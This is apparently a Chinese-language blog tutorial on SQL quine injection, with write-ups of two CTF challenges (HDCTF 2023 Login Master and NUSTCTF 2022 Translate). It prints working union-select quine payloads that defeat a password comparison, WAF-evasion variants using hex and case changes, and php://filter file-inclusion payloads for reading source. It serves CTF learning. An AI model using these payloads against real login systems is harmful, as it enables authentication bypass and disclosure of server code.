[quine注入]
Quine 技术
在sql
注入技术中,Quine
是一种使得输入sql
语句和输出的sql
语句一致的技术。
SQL中的replace()函数
语法:
REPLACE(string_expression , string_pattern , string_replacement) |
replace(object,search,replace) |
案例分析
首先看这个例子。
# object = . |
+---------------------------+ |
该语句就是将object
中的".",替换成了"."
那么我们把object
写成replace(".",char(46),".")
# object = replace(".",char(46),".") |
+---------------------------------------------------+ |
进一步,我们把用来替换的字符串也修改为replace(“.”,char(46),”.”)
# object = replace(".",char(46),".") |
+---------------------------------------------------------------------------+ |
这时候我们发现,我们的输入语句和输出语句已经十分相似,仅有单引号与双引号之间的差别。
解决单双引号不同的问题。
# char(34) = " char(39) = ' |
分析以下这个语句,首先执行内层
replace
,replace('"."',char(34),char(39))
将object中的双引号,转换成单引号得到'.'
,然后执行外层replace
将.替换成.
# object = replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39) |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+ |
Quine的基本形式
select replace(replace('str',char(34),char(39)),char(46),'str'); |
注入的Quine基本形式
1'/**/union/**/select/**/replace(replace('',char(34),char(39)),char(46),'') # |
1'/**/union/**/select/**/replace(replace('',char(34),char(39)),char(46),'')# |
题目分析
[HDCTF 2023]Login Master
开题,一个登录框
访问robots.txt
得到源代码
function checkSql($s) |
$row['password'] === $password
根据这条语句,提示我们要使用quine注入。
构造pyload:
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')# |
在登录中输入usernam=admin,password=payload
获得flag
[NUSTCTF 2022 新生赛]Translate
开题,同样是一个登录框
F12
发现提示/dGVzdC5waHA=
解码之后发现是/test.php
|
这里存在一个文件包含漏洞。
payload:
?file=php://filter/convert.base64/resource=flag.php |
这时候发现应该是过滤了base64
,替换其他的编码方式。
UCS-4* |
payload:
?file=php://filter/convert.iconv.UTF-7/resource=flag.php |
得到部分源代码
|
同样,根据这里的$row['password'] === $password
我们也使用Quine注入。
直接使用上题的payload,发现存在waf
fuzz之后发现过滤了空格和chr
用0x
代替chr
payload
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",0x22,0x27),0x2e,".")#',0x22,0x27),0x2e,'1"/**/union/**/select/**/replace(replace(".",0x22,0x27),0x2e,".")#')# |
没有成功告诉我们"事不过三"
这时候大小写绕过替换replace
最终payload:
1'/**/union/**/select/**/replace(REPLACE('1"/**/union/**/select/**/replace(REPLACE(".",0x22,0x27),0x2e,".")#',0x22,0x27),0x2e,'1"/**/union/**/select/**/replace(REPLACE(".",0x22,0x27),0x2e,".")#')# |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 cl1mb3r的小站!